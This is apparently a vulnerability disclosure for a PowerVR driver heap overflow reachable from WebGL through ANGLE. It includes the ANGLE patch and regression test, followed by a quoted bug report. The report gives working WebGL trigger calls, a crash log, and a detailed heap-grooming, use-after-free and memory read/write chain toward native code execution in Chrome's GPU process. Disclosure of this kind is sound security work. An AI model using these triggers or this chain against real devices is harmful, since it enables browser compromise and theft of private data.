CVE-2026-95350
Overview
Background
- `glTexStorage2D` / `glTexStorage3D`
- GL calls that allocate all mip levels of an immutable-format texture in one shot.
- `TEXTURE_BASE_LEVEL`
- the lowest mip level the texture uses; ANGLE tracks the applied value in
mAppliedBaseLeveland can change it viasetBaseLevel. - PowerVR TexStorage base-level bug
- on PowerVR GPUs, calling
glTexStorage2Dwhile a non-zero base level is applied makes the driver miscompute the storage layout, writing outside the intended allocation. - `resetTexStorage2DBaseLevel` feature
- the new ANGLE workaround flag, enabled via
ANGLE_FEATURE_CONDITION(features, resetTexStorage2DBaseLevel, IsPowerVR(vendor)).
Root Cause Analysis
When ANGLE allocated immutable texture storage through functions->texStorage2D (and the 3D analogue) on PowerVR, it passed the call through even if mAppliedBaseLevel > 0. The PowerVR driver mishandles a non-zero base level at storage-allocation time and miscomputes the layout, overflowing the texture allocation — a GPU-process buffer overflow reachable from WebGL.
The fix adds the resetTexStorage2DBaseLevel feature (conditioned on IsPowerVR(vendor)) and, in both the texStorage2D and texStorage3D paths, computes resetBaseLevel = feature.enabled && mAppliedBaseLevel > 0; when true it saves mAppliedBaseLevel, calls setBaseLevel(context, 0) before the storage call, and restores the original level with setBaseLevel(context, originalBaseLevel) afterward. With the base level normalized to 0 during allocation, the driver computes the layout correctly and the overflow is avoided.
TEXTURE_BASE_LEVEL was applied on a driver that miscomputes the layout in that state; the fix resets the base level to 0 around the texStorage2D/texStorage3D call and restores it, so allocation always happens at level 0.Attack Path
- PowerVR target the victim runs Chrome on a PowerVR GPU, where the workaround and the driver bug apply.
- WebGL immutable texture
attacker JavaScript creates a texture and prepares to allocate it with
texStorage2D/texStorage3D. - Apply a non-zero base level
it sets
TEXTURE_BASE_LEVEL > 0before the storage call, reaching the vulnerable state (mAppliedBaseLevel > 0). - Allocate storage
pre-fix, ANGLE forwarded
glTexStorage2Dwith the non-zero base level and the PowerVR driver miscomputed the layout. - Heap overflow in the GPU process the mis-sized allocation/writes corrupt adjacent GPU-process memory, a primitive toward a sandbox escape.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
Texture2DTestES3_ResetTexStorage2DBaseLevelsrc/tests/gl_tests/TextureTest.cpp |
modified |
Files Changed
src/tests/gl_tests/TextureTest.cpputil/autogen/angle_features_autogen.hsrc/libANGLE/renderer/gl/renderergl_utils.cppinclude/platform/autogen/FeaturesGL_autogen.hutil/autogen/angle_features_autogen.cppsrc/libANGLE/renderer/gl/TextureGL.cppinclude/platform/gl_features.json
Audit Directions
- Base-level state around allocationaudit every immutable-storage or reallocation call that can run while
TEXTURE_BASE_LEVEL != 0on drivers with known layout bugs. - Save/restore symmetryverify each reset-then-restore workaround always restores the original level on every return path, so state doesn’t leak into later calls.
- Sibling storage entry pointscheck that
texStorage2D,texStorage3D, and any multisample/array variants each carry the guard, since a bug on one usually affects the family.
Patch
From 2c68772a0eb74c771e2b0b6c490869c0e98fc412 Mon Sep 17 00:00:00 2001
From: Zhenyao Mo <zmo@chromium.org>
Date: Mon, 24 Aug 2026 15:11:05 -0700
Subject: [PATCH] GL: Reset base level before TexStorage2D on PowerVR GPUs
PowerVR GPUs have a driver bug when glTexStorage2D is called
on a texture with a non-zero base level already applied.
This workaround resets the base level to zero before making
the TexStorage2D call, and restores the base level to its
original level afterwards.
Bug: chromium:551573368
Change-Id: I334f242842f01bdd10fc65200f81ff3b65867bec
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/8283072
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Auto-Submit: Zhenyao Mo <zmo@chromium.org>
Commit-Queue: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
---
diff --git a/include/platform/gl_features.json b/include/platform/gl_features.json
index 7d9f4bb..9bac71d 100644
--- a/include/platform/gl_features.json
+++ b/include/platform/gl_features.json
@@ -327,6 +327,15 @@
"issue": "https://crbug.com/528131119"
},
{
+ "name": "reset_TexStorage2D_base_level",
+ "category": "Workarounds",
+ "description": [
+ "Reset texture base level before calling glTexStorage2D to ",
+ "work around PowerVR driver bug."
+ ],
+ "issue": "https://crbug.com/551573368"
+ },
+ {
"name": "use_temp_for_non_zero_base_level_GenMipmap_using_CopyImageSubData",
"category": "Workarounds",
"description": [
diff --git a/src/libANGLE/renderer/gl/TextureGL.cpp b/src/libANGLE/renderer/gl/TextureGL.cpp
index 52c5e88..25f2644 100644
--- a/src/libANGLE/renderer/gl/TextureGL.cpp
+++ b/src/libANGLE/renderer/gl/TextureGL.cpp
@@ -1332,10 +1332,23 @@
ASSERT(size.depth == 1);
if (functions->texStorage2D)
{
+ const bool resetBaseLevel =
+ features.resetTexStorage2DBaseLevel.enabled && mAppliedBaseLevel > 0;
+ const GLuint originalBaseLevel = mAppliedBaseLevel;
+ if (resetBaseLevel)
+ {
+ ANGLE_TRY(setBaseLevel(context, 0));
+ }
+
ANGLE_GL_TRY_ALWAYS_CHECK(
context,
functions->texStorage2D(ToGLenum(type), static_cast<GLsizei>(levels),
texStorageFormat.internalFormat, size.width, size.height));
+
+ if (resetBaseLevel)
+ {
+ ANGLE_TRY(setBaseLevel(context, originalBaseLevel));
+ }
}
else
{
@@ -1436,10 +1449,23 @@
features.emulateImmutableCompressedTexture3D.enabled;
if (functions->texStorage3D && !bypassTexStorage3D)
{
+ const bool resetBaseLevel =
+ features.resetTexStorage2DBaseLevel.enabled && mAppliedBaseLevel > 0;
+ const GLuint originalBaseLevel = mAppliedBaseLevel;
+ if (resetBaseLevel)
+ {
+ ANGLE_TRY(setBaseLevel(context, 0));
+ }
+
ANGLE_GL_TRY_ALWAYS_CHECK(
context, functions->texStorage3D(ToGLenum(type), static_cast<GLsizei>(levels),
texStorageFormat.internalFormat, size.width,
size.height, size.depth));
+
+ if (resetBaseLevel)
+ {
+ ANGLE_TRY(setBaseLevel(context, originalBaseLevel));
+ }
}
else
{
diff --git a/src/libANGLE/renderer/gl/renderergl_utils.cpp b/src/libANGLE/renderer/gl/renderergl_utils.cpp
index 2190fd8..b000e97 100644
--- a/src/libANGLE/renderer/gl/renderergl_utils.cpp
+++ b/src/libANGLE/renderer/gl/renderergl_utils.cpp
@@ -2402,6 +2402,7 @@
ANGLE_FEATURE_CONDITION(features, resetBaseLevelForASTCSubImage, IsPowerVR(vendor));
ANGLE_FEATURE_CONDITION(features, recreateImmutableTextureOnBaseLevelIncrease,
IsPowerVR(vendor));
+ ANGLE_FEATURE_CONDITION(features, resetTexStorage2DBaseLevel, IsPowerVR(vendor));
ANGLE_FEATURE_CONDITION(features, recreateTextureOnTexImage3dDepthIncrease,
isQualcomm && IsAndroid());
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 7de29e3..f4ebc11 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -23755,6 +23755,54 @@
EXPECT_GL_NO_ERROR();
}
+class Texture2DTestES3_ResetTexStorage2DBaseLevel : public Texture2DBaseMaxTestES3
+{};
+
+// Test TexStorage2D on a texture that already has non-zero TEXTURE_BASE_LEVEL set.
+TEST_P(Texture2DTestES3_ResetTexStorage2DBaseLevel, TexStorage2DWithNonZeroBaseLevel)
+{
+ // http://anglebug.com/551573368
+ ANGLE_SKIP_TEST_IF(IsD3D());
+
+ constexpr uint32_t kBaseLevel = 1;
+ const GLColor kNewMipColors[kMipCount] = {
+ GLColor::yellow,
+ GLColor::cyan,
+ GLColor::white,
+ GLColor(127u, 127u, 127u, 255u),
+ };
+
+ initTest(false);
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, kBaseLevel);
+
+ glTexStorage2D(GL_TEXTURE_2D, kMipCount, GL_RGBA8, kMip0Size, kMip0Size);
+ std::array<GLColor, getTotalMipDataSize(kMip0Size)> mipData;
+ fillMipData(mipData.data(), kMip0Size, kNewMipColors);
+ for (size_t mip = 0; mip < kMipCount; ++mip)
+ {
+ glTexSubImage2D(GL_TEXTURE_2D, static_cast<GLint>(mip), 0, 0, kMip0Size >> mip,
+ kMip0Size >> mip, GL_RGBA, GL_UNSIGNED_BYTE,
+ mipData.data() + getMipDataOffset(kMip0Size, mip));
+ }
+
+ // Test that all enabled mips have the expected data
+ for (uint32_t lod = kBaseLevel; lod < kMipCount; ++lod)
+ {
+ setLodUniform(lod - kBaseLevel);
+ drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+ }
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+ for (uint32_t lod = 0; lod < kBaseLevel; ++lod)
+ {
+ setLodUniform(lod);
+ drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+ }
+}
+
// Test that robust init via nullptr-upload to texture after invalidating an image with emulated
// alpha works.
TEST_P(Texture2DTestES3RobustInit, InvalidateEmulatedAlphaThenInitViaEmptyUpload)
@@ -23999,6 +24047,13 @@
ES3_OPENGL().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData),
ES3_OPENGLES().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData));
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(Texture2DTestES3_ResetTexStorage2DBaseLevel);
+ANGLE_INSTANTIATE_TEST_ES3_AND(Texture2DTestES3_ResetTexStorage2DBaseLevel,
+ ES3_OPENGL().enable(Feature::ResetTexStorage2DBaseLevel),
+ ES3_OPENGL().disable(Feature::ResetTexStorage2DBaseLevel),
+ ES3_OPENGLES().enable(Feature::ResetTexStorage2DBaseLevel),
+ ES3_OPENGLES().disable(Feature::ResetTexStorage2DBaseLevel));
+
GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(TextureSizeLimitTest);
ANGLE_INSTANTIATE_TEST(TextureSizeLimitTest,
ES2_D3D11().enable(Feature::LimitMaxTextureBytesTo1MB),
diff --git a/include/platform/autogen/FeaturesGL_autogen.h b/include/platform/autogen/FeaturesGL_autogen.h
index 487cfbe..839b476 100644
--- a/include/platform/autogen/FeaturesGL_autogen.h
+++ b/include/platform/autogen/FeaturesGL_autogen.h
@@ -266,6 +266,12 @@
&members,
};
+ FeatureInfo resetTexStorage2DBaseLevel = {
+ "resetTexStorage2DBaseLevel",
+ FeatureCategory::OpenGLWorkarounds,
+ &members,
+ };
+
FeatureInfo useTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData = {
"useTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData",
FeatureCategory::OpenGLWorkarounds,
diff --git a/util/autogen/angle_features_autogen.cpp b/util/autogen/angle_features_autogen.cpp
index 5f52c9e..cad4174 100644
--- a/util/autogen/angle_features_autogen.cpp
+++ b/util/autogen/angle_features_autogen.cpp
@@ -315,6 +315,7 @@
{Feature::ResetBaseLevelForASTCSubImage, "resetBaseLevelForASTCSubImage"},
{Feature::ResetSampleCoverageOnFBOChange, "resetSampleCoverageOnFBOChange"},
{Feature::ResetTexImage2DBaseLevel, "resetTexImage2DBaseLevel"},
+ {Feature::ResetTexStorage2DBaseLevel, "resetTexStorage2DBaseLevel"},
{Feature::ResyncDepthRangeOnClipControl, "resyncDepthRangeOnClipControl"},
{Feature::RetainSPIRVDebugInfo, "retainSPIRVDebugInfo"},
{Feature::RewriteRepeatedAssignToSwizzled, "rewriteRepeatedAssignToSwizzled"},
diff --git a/util/autogen/angle_features_autogen.h b/util/autogen/angle_features_autogen.h
index 99b3126..f4eca50 100644
--- a/util/autogen/angle_features_autogen.h
+++ b/util/autogen/angle_features_autogen.h
@@ -315,6 +315,7 @@
ResetBaseLevelForASTCSubImage,
ResetSampleCoverageOnFBOChange,
ResetTexImage2DBaseLevel,
+ ResetTexStorage2DBaseLevel,
ResyncDepthRangeOnClipControl,
RetainSPIRVDebugInfo,
RewriteRepeatedAssignToSwizzled,
Regression Test / PoC
diff --git a/src/tests/gl_tests/TextureTest.cpp b/src/tests/gl_tests/TextureTest.cpp
index 7de29e3..f4ebc11 100644
--- a/src/tests/gl_tests/TextureTest.cpp
+++ b/src/tests/gl_tests/TextureTest.cpp
@@ -23755,6 +23755,54 @@
EXPECT_GL_NO_ERROR();
}
+class Texture2DTestES3_ResetTexStorage2DBaseLevel : public Texture2DBaseMaxTestES3
+{};
+
+// Test TexStorage2D on a texture that already has non-zero TEXTURE_BASE_LEVEL set.
+TEST_P(Texture2DTestES3_ResetTexStorage2DBaseLevel, TexStorage2DWithNonZeroBaseLevel)
+{
+ // http://anglebug.com/551573368
+ ANGLE_SKIP_TEST_IF(IsD3D());
+
+ constexpr uint32_t kBaseLevel = 1;
+ const GLColor kNewMipColors[kMipCount] = {
+ GLColor::yellow,
+ GLColor::cyan,
+ GLColor::white,
+ GLColor(127u, 127u, 127u, 255u),
+ };
+
+ initTest(false);
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, kBaseLevel);
+
+ glTexStorage2D(GL_TEXTURE_2D, kMipCount, GL_RGBA8, kMip0Size, kMip0Size);
+ std::array<GLColor, getTotalMipDataSize(kMip0Size)> mipData;
+ fillMipData(mipData.data(), kMip0Size, kNewMipColors);
+ for (size_t mip = 0; mip < kMipCount; ++mip)
+ {
+ glTexSubImage2D(GL_TEXTURE_2D, static_cast<GLint>(mip), 0, 0, kMip0Size >> mip,
+ kMip0Size >> mip, GL_RGBA, GL_UNSIGNED_BYTE,
+ mipData.data() + getMipDataOffset(kMip0Size, mip));
+ }
+
+ // Test that all enabled mips have the expected data
+ for (uint32_t lod = kBaseLevel; lod < kMipCount; ++lod)
+ {
+ setLodUniform(lod - kBaseLevel);
+ drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+ }
+
+ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_BASE_LEVEL, 0);
+ for (uint32_t lod = 0; lod < kBaseLevel; ++lod)
+ {
+ setLodUniform(lod);
+ drawQuad(mProgram, essl3_shaders::PositionAttrib(), 0.5f);
+ EXPECT_PIXEL_COLOR_EQ(0, 0, kNewMipColors[lod]);
+ }
+}
+
// Test that robust init via nullptr-upload to texture after invalidating an image with emulated
// alpha works.
TEST_P(Texture2DTestES3RobustInit, InvalidateEmulatedAlphaThenInitViaEmptyUpload)
@@ -23999,6 +24047,13 @@
ES3_OPENGL().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData),
ES3_OPENGLES().enable(Feature::UseTempForNonZeroBaseLevelGenMipmapUsingCopyImageSubData));
+GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(Texture2DTestES3_ResetTexStorage2DBaseLevel);
+ANGLE_INSTANTIATE_TEST_ES3_AND(Texture2DTestES3_ResetTexStorage2DBaseLevel,
+ ES3_OPENGL().enable(Feature::ResetTexStorage2DBaseLevel),
+ ES3_OPENGL().disable(Feature::ResetTexStorage2DBaseLevel),
+ ES3_OPENGLES().enable(Feature::ResetTexStorage2DBaseLevel),
+ ES3_OPENGLES().disable(Feature::ResetTexStorage2DBaseLevel));
+
GTEST_ALLOW_UNINSTANTIATED_PARAMETERIZED_TEST(TextureSizeLimitTest);
ANGLE_INSTANTIATE_TEST(TextureSizeLimitTest,
ES2_D3D11().enable(Feature::LimitMaxTextureBytesTo1MB),
Original Bug Report
PowerVR sparse page-map heap OOB reachable from WebGL bypasses ANGLE's prior workaround and yields native code execution
Report description
PowerVR sparse page-map heap OOB reachable from WebGL bypasses ANGLE’s prior workaround and yields native code execution
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
The problem
Please describe the technical details of the vulnerability
PowerVR sparse page-map heap OOB reachable from WebGL bypasses ANGLE’s prior workaround and yields native code execution
Summary
An ordinary WebGL2 page can place a nonzero TEXTURE_BASE_LEVEL on a mutable
texture and then allocate immutable non-power-of-two (NPOT) storage. ANGLE
immediately forwards the base level to its PowerVR OpenGL ES backend, but its
existing PowerVR workarounds only repair later base-level transitions or
mipmap generation.
The subsequent native glTexStorage* therefore begins with a nonzero base
already installed.
PowerVR reconstructs larger effective dimensions from that base level while
its internal sparse page-map allocation is sized from a smaller mip window.
CalculateNPOTTwiddleSparsePageMap consequently indexes beyond a transient
Scudo heap allocation and writes a length-controllable contiguous run of bytes
whose value is fixed to 0x01.
The supplied poc.html contains only the root trigger and normal object
operations that consume the corruption. It creates the trigger plus two texture
names, performs the overflowing storage call, deletes the two names in reverse
order, and calls finish(). The page-map writer paints following Scudo chunks
with 0x01; subsequent GPU-process activity consumes whichever adjacent object
was corrupted. The page does not shape or inspect the allocator, so the
immediate crash depends on the process heap layout.
The supplied exp.html continues from the same OOB. It uses the name-list
append operation to disclose an aligned native buffer address, converts a
still-referenced uniform allocation into a use-after-free (UAF), and reclaims
it with a genuine driver-created GLES3BufferObjectRec. The uniform APIs
retain a stale view of the record while a live WebGLBuffer supplies normal
consumers. Temporarily
retargeting GLES3BufferObjectRec.data_store_cpu at +0x70 turns WebGL2
getBufferSubData() and bufferSubData() into address-selected CPU memory
access. A vertex draw then populates the BufferRec’s runtime resource-tracking
record, exposing the owning GLES context and loaded-module bases. The page
uses two returning query callbacks to call mprotect and execute a
Branch Target Identification (BTI)-compatible payload from controlled Scudo
memory. A second payload performs openat and getdents64 directly and
returns the contents of Chrome’s private data directory to JavaScript.
On the confirmed August firmware and Chrome 151, the blind PoC produces a
repeated-0x01 GPU-process pointer fault. The exploit page completed the full
chain in 104.423 seconds, returned marker 0x52434521 from native code, and
listed /data/user/0/com.android.chrome from Chrome’s privileged GPU process.
Product and impact
| Field | Value |
|---|---|
| Product | Google Chrome for Android, WebGL2 / GPU process |
| Vulnerable component | /vendor/lib64/egl/libGLESv2_powervr.so |
| Vendor component | Imagination Technologies PowerVR GLES |
| Reachability | Ordinary webpage through Blink WebGL2, Chrome passthrough decoder, ANGLE GL backend |
| Bug class | CPU heap out-of-bounds write; incomplete mitigation/workaround bypass |
| Demonstrated impact | Native code execution and access to Chrome’s private data directory from the privileged GPU process |
| Exploit result | Full ordinary-WebGL code-execution chain device-confirmed |
| Suggested CWE | CWE-787: Out-of-bounds Write; CWE-122: Heap-based Buffer Overflow; CWE-693: Protection Mechanism Failure |
The vulnerable vendor library executes in Chrome’s privileged GPU process.
The page uses no native helper, renderer injection, direct command-buffer
access, raw GPU command construction, /proc access, allocator observer, or
address supplied from outside the WebGL page.
Confirmed target
Device: Google Pixel 10 (frankel)
Android build: CP2A.260805.005
Security SPL: 2026-08-05
Chrome: 151.0.7922.137
ANGLE backend: OpenGL ES -> native PowerVR GLES
GPU: PowerVR D-Series DXT-48-1536
PowerVR DDK: 25.3@6908880
GLES BuildId: c9baa2e05202a3113a7f0847e90a1ec5
libc BuildId: bff603430d1ad139d4f0e6a78f542c4d
linker BuildId: 9b4e57b0e8d31b8e50caee18e4bb9ad3
android_runtime BuildId: 5c8787d727d821a92c609b8b4d61b9b4
The WebGL renderer identifies the native backend as:
ANGLE (Imagination Technologies, PowerVR D-Series DXT-48-1536,
OpenGL ES 3.2 build 25.3@6908880)
All vendor function addresses below apply to BuildId
c9baa2e05202a3113a7f0847e90a1ec5 and use Binary Ninja’s image base
0x400000.
Relationship to the previously fixed/public bug
This report should be treated as a bypass of an incomplete ANGLE mitigation, not as an unrelated texture bug.
ANGLE commit 764bb891d3b8f4d3c06151d95deb5e70878cc9c5 for Chromium issue
534903095 added the PowerVR feature
recreateImmutableTextureOnBaseLevelIncrease. The public regression sequence
creates immutable NPOT storage while native base level is zero, makes the
texture resident, and then increases BASE_LEVEL. ANGLE responds to that
post-storage transition by recreating native immutable storage.
A later workaround, commit
ef03123d07332bc76db13395b6d3f3e8ac24a3b6 for issue 534923522, avoids
native glGenerateMipmap on an immutable PowerVR texture whose effective base
is nonzero. It generates through a temporary base-zero texture instead.
The bypass reverses the order assumed by both test families:
- gl.texStorage2D(...); // native storage begins at base 0
- gl.texParameteri(TEXTURE_2D,
- TEXTURE_BASE_LEVEL, 10); // later transition
+ gl.texParameteri(TEXTURE_2D,
+ TEXTURE_BASE_LEVEL, 10); // forwarded while still mutable
+ gl.texStorage2D(...); // storage begins under base 10
The sequence is legal WebGL2. Texture::setBaseLevel immediately calls the GL
backend, and TextureGL::setBaseLevel immediately sends native
glTexParameteri(BASE_LEVEL, 10) while recording mAppliedBaseLevel=10.
Texture::setStorage later invokes native glTexStorage2D before the generic
dirty-state synchronization where the recreation workaround lives. At that
point:
mAppliedBaseLevel = 10
effectiveBase = min(10, levels - 1) = 10
ANGLE sees no later transition to repair. The vulnerable native storage call
has already executed in an equal-but-unsafe state. The generate-mipmap
workaround is not entered because the trigger does not call
generateMipmap().
Both upstream regression families begin with storage at base zero, so neither covers the missing mutable-base-before-storage edge:
mutable, no storage, base 0
-> mutable, no storage, base N
-> immutable storage created while native base N is active
The vulnerable sequence remains reachable in a Chromium build containing both ANGLE changes, so the result is not caused by testing a browser revision that predates the workarounds.
WebGL validity and call path
The compact root trigger is:
const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_BASE_LEVEL, 10);
gl.texStorage2D(gl.TEXTURE_2D, 12, gl.RGBA8, 3, 2048);
For 3 x 2048, the maximum immutable mip count is 12. RGBA8, positive
dimensions, levels=12, and BASE_LEVEL=10 are all WebGL2-valid. The calls
return GL_NO_ERROR before asynchronous consumption.
The exploit uses this WebGL2-valid geometry to place the page-map allocation in the same Scudo size class as native buffer records:
gl.bindTexture(gl.TEXTURE_2D_ARRAY, triggerTexture);
gl.texParameteri(gl.TEXTURE_2D_ARRAY, gl.TEXTURE_BASE_LEVEL, 4);
gl.texStorage3D(gl.TEXTURE_2D_ARRAY, 13,
gl.RGBA32F, 1, 4736, 7);
The browser path is:
webpage WebGL2
-> Blink WebGL2RenderingContext
-> Chrome GPU command buffer / passthrough decoder
-> ANGLE frontend validation
-> ANGLE OpenGL ES backend
-> native PowerVR glTexStorage3D
-> PowerVR texture backing creation
-> GetTwiddledMiptreeSparsePageMap
-> CalculateNPOTTwiddleSparsePageMap
PowerVR root cause
The native texture code allocates a transient byte map named
pbUsedPageMap using a page count derived from the stored mip layout. It then
calculates sparse/twiddled page indices after reconstructing effective
dimensions from the nonzero base level. Those two calculations do not describe
the same coordinate space.
The relevant logic for this BuildId is:
uint8_t *pbUsedPageMap = calloc(ui32NumPagesTotal, sizeof(uint8_t));
// Allocation is based on the native mip/storage window.
// The later index calculation reconstructs a larger base:
effectiveWidth = storedWidth;
effectiveHeight = storedHeight;
for (uint32_t i = 0; i < baseLevel; ++i) {
effectiveWidth = (effectiveWidth << 1) | 1;
effectiveHeight = (effectiveHeight << 1) | 1;
}
for (each twiddled page touched by the reconstructed area) {
uint32_t index = /* twiddle, bpp, mip-offset and page-size calculation */;
pbUsedPageMap[index] = 1; // missing index < ui32NumPagesTotal check
}
GetTwiddledMiptreeSparsePageMap@0x4a5e30 reaches
CalculateNPOTTwiddleSparsePageMap@0x4a6940. The faulting store is at function
offset +0x200. On the confirmed target, where heap MTE is disabled, the loop
continues after crossing the allocation boundary and produces a
length/endpoint-controllable contiguous run of fixed 0x01 bytes.
The page map is transient:
allocate pbUsedPageMap
-> calculate map and perform OOB 0x01 stores
-> submit/consume sparse-page information
-> free pbUsedPageMap
Freeing the source does not undo corruption already written into the following Scudo block. The exploit intentionally never frees the painted adjacent victim because the continuous prefix also touches allocator metadata.
Blind root reproducer (poc.html)
poc.html contains no shaders, programs, buffers, heap spray, hole selection,
address disclosure, or observer. Its complete object sequence is:
const trigger = gl.createTexture();
const names = [gl.createTexture(), gl.createTexture()];
gl.bindTexture(gl.TEXTURE_2D, trigger);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_BASE_LEVEL, 8);
gl.texStorage2D(gl.TEXTURE_2D, 14, gl.RGBA8, 3, 8192);
gl.deleteTexture(names[1]);
gl.deleteTexture(names[0]);
gl.finish();
For this geometry the logical page-map request is 0x2c, while the writer
continues through approximately map+0x107f with fixed 0x01 bytes. The page
then deletes the two names and synchronizes so normal native code consumes an
object that was overwritten. Because poc.html performs no heap shaping, some
runs return without an immediate crash; reloading creates a new process-heap
layout.
On the confirmed target this page crashes the privileged GPU process:
Cmdline: com.android.chrome:privileged_process0
signal 11 (SIGSEGV), SEGV_MAPERR, read fault 0x0001010101010121
This blind run does not claim control of which neighboring GPU-process object is selected; it demonstrates naturally consumed fixed-pattern pointer corruption from the root WebGL sequence.
Exploit chain to native code execution (exp.html)
Heap objects used by the exploit
PowerVR allocates all three objects below from one Scudo size class. A Scudo
allocation in this class begins every 0x250 bytes, even though each caller
requests a different usable size:
| Object | Requested bytes | Scudo spacing | Purpose |
|---|---|---|---|
| Sparse page map | 0x1c0 |
0x250 |
Source of the fixed-0x01 OOB write |
GLES3BufferObjectRec |
0x1d0 |
0x250 |
Native object whose list pointer is corrupted |
| Program default-uniform data | 0x240 |
0x250 |
WebGL-readable and writable replacement memory |
For the exploit texture geometry, the page-map loop writes through offset
+0x251 relative to the returned page-map address. Therefore it crosses the
allocator metadata and writes the first two bytes of a following
GLES3BufferObjectRec.
page-map pointer next user pointer
M+0x000 M+0x250
[0x1c0 bytes][unused class space][8-byte Scudo header] [BufferRec.psNext]
OOB 0x01 writes ──────^ bytes 0 and 1
Each controlled 0x240 allocation belongs to one linked WebGL program. The
program declares an 18-element uvec4 uniform array in its vertex shader and
another 18-element array in its fragment shader. PowerVR stores the combined
36 vectors in one contiguous default-uniform allocation. The page initializes
all of those bytes to zero and can later read or update them with getUniform()
and uniform4uiv().
WebGL buffer creation is lazy in ANGLE, so the page binds every WebGLBuffer and
calls zero-length bufferData() to force creation of its native
GLES3BufferObjectRec. It fills the 0x250 size class with these buffer
records and controlled uniform allocations, deletes two fixed buffer records,
and issues two overflowing page-map allocations. Each page map reuses a freed
slot and writes 0x01 into the following buffer record. The corrupted record
is kept allocated because the overwrite also crosses Scudo metadata.
1. Convert the corrupted list pointer into an address disclosure
Every PowerVR buffer record begins with a NamedItem, the node used by the
driver’s object-name hash table:
struct NamedItem {
struct NamedItem *psNext;
uint32_t ui32Name;
uint32_t ui32RefCount;
};
The page-map write changes the low 16 bits of an adjacent record’s psNext
from their original value to 0x0101, while preserving the upper pointer bits.
The heap layout places a zero-filled default-uniform allocation at the resulting
address. The corrupted pointer therefore refers to a synthetic NamedItem
whose psNext is initially null.
When PowerVR inserts another native buffer into that name-list chain, its append operation reaches the synthetic node and performs:
fakeNode->psNext = newBufferRec;
This stores the genuine Scudo-tagged address of the new buffer record inside
the uniform allocation. Ordinary getUniform() calls return that pointer to
JavaScript. No allocator observer, native helper, /proc access, or external
address is used.
2. Reclaim the disclosed buffer record with uniform data
Call the disclosed, aligned native buffer-record address X. The page deletes
the WebGLBuffers that can own X one at a time and reads the synthetic node
after each deletion. When its stored link changes from X to the real
X->psNext, PowerVR has unlinked and freed the record at X.
The page then links prepared WebGL programs. Their 0x240 default-uniform
allocations use the same 0x250 Scudo class and reclaim the freed buffer-record
slots. One program receives the allocation at exactly X, giving its uniform
API control over X+0x00..X+0x23f. This covers the complete 0x1d0-byte native
buffer record plus 0x70 bytes of tail space.
3. Free the uniform while its WebGL program still references it
PowerVR hashes native object names into 0x800 linked-list buckets. The page
creates another native buffer whose name enters the same bucket as the
synthetic node. Appending it writes a genuine successor pointer at X+0x00,
which also identifies the exact WebGL program whose uniform allocation owns
X.
Through that program’s uniform setters, the page gives X this
generated-but-unused NamedItem prefix:
X+0x00 psNext genuine successor buffer
X+0x08 ui32Name successor buffer's native name
X+0x0c ui32RefCount 1
X+0x10 mutex 0
X+0x18 flags 0x11 (generated-unused)
X+0x20 label 0
Deleting the corresponding WebGLBuffer makes native name lookup find the fake
node at X. Because the node is marked generated-but-unused,
NamedItemDelRefByName@0x50b980 directly frees X without invoking the buffer
destructor. The WebGL program remains live and still holds its default-uniform
pointer to the freed allocation. This is the use-after-free used by the next
step.
4. Reclaim the dangling uniform with a valid native buffer record
The page materializes WebGLBuffers until CreateBufferObject@0x56f670 reuses
X. PowerVR initializes a genuine GLES3BufferObjectRec there. The live
WebGLBuffer supplies valid driver state and normal consumers, while the stale
uniform pointer supplies a second read/write view of the same allocation.
Fields used by the exploit are:
+0x00 NamedItem.psNext
+0x08 ui32Name
+0x0c ui32RefCount
+0x10 mutex
+0x40 size
+0x50 mapped_ptr
+0x68 PVRSRV_MEMINFO_TAG *data_store
+0x70 void *data_store_cpu
+0x88 mapped
5. Use data_store_cpu for address-selected CPU memory access
The replacement buffer receives a real 0x1000-byte backing allocation. The
stale uniform saves data_store_cpu, temporarily writes an address-selected
target to BufferRec+0x70, performs one normal WebGL call, and restores the
genuine value in a finally block.
Read:
BufferRec.data_store_cpu = target;
gl.getBufferSubData(gl.ARRAY_BUFFER, 0, output);
BufferRec.data_store_cpu = original;
Chrome’s passthrough DoGetBufferSubDataCHROMIUM calls native
glMapBufferRange(..., GL_MAP_READ_BIT), copies the returned bytes to the
command result, and unmaps. For the confirmed GLES BuildId,
glMapBufferRange@0x56c680 loads exactly [BufferRec+0x70] + offset and
returns it.
Write:
BufferRec.data_store_cpu = target;
gl.bufferSubData(gl.ARRAY_BUFFER, 0, bytes);
BufferRec.data_store_cpu = original;
For the same BuildId, glBufferSubData@0x544490 copies the supplied bytes to
data_store_cpu+offset while the valid data_store and other BufferRec state
remain intact.
6. Resolve ASLR and execute a returning native payload
